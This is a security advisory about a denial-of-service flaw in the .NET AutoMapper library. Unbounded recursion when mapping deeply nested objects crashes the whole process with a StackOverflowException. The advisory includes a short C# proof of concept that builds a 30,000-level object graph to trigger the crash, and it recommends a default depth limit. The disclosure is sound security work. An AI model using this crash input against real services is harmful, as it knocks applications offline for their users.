AutoMapper Vulnerable to Denial of Service (DoS) via Uncontrolled Recursion

Summary

AutoMapper is vulnerable to a Denial of Service (DoS) attack. When mapping deeply nested object graphs, the library uses recursive method calls without enforcing a default maximum depth limit. This allows an attacker to provide a specially crafted object graph that exhausts the thread's stack memory, triggering a StackOverflowException and causing the entire application process to terminate.

Description

The vulnerability exists in the core mapping engine. When a source object contains a property of the same type (or a type that eventually points back to itself), AutoMapper recursively attempts to map each level.

Because there is no default limit on how many levels deep this recursion can go, a sufficiently nested object (approximately 25,000+ levels in standard .NET environments) will exceed the stack size. Since StackOverflowException cannot be caught in modern .NET runtimes, the application cannot recover and will crash immediately.

Impact

• Availability: An attacker can crash the application server, leading to a complete Denial of Service.
• Process Termination: Unlike standard exceptions, this terminates the entire process, not just the individual request thread.

Proof of Concept (PoC)

The following C# code demonstrates the crash by creating a nested "Circular" object graph and attempting to map it:

class Circular { public Circular Self { get; set; } }

// Setup configuration
var config = new MapperConfiguration(cfg => {
    cfg.CreateMap<Circular, Circular>();
});
var mapper = config.CreateMapper();

// Create a deeply nested object (28,000+ levels)
var root = new Circular();
var current = root;
for (int i = 0; i < 30000; i++) {
    current.Self = new Circular();
    current = current.Self;
}

// This call triggers the StackOverflowException and crashes the process
mapper.Map<Circular>(root);

Recommended Mitigation

1. Secure Defaults: Implement a default MaxDepth (e.g., 32 or 64) for all mapping operations.
2. Configurable Limit: Allow users to increase this limit if necessary, but ensure it is enabled by default to protect unsuspecting developers.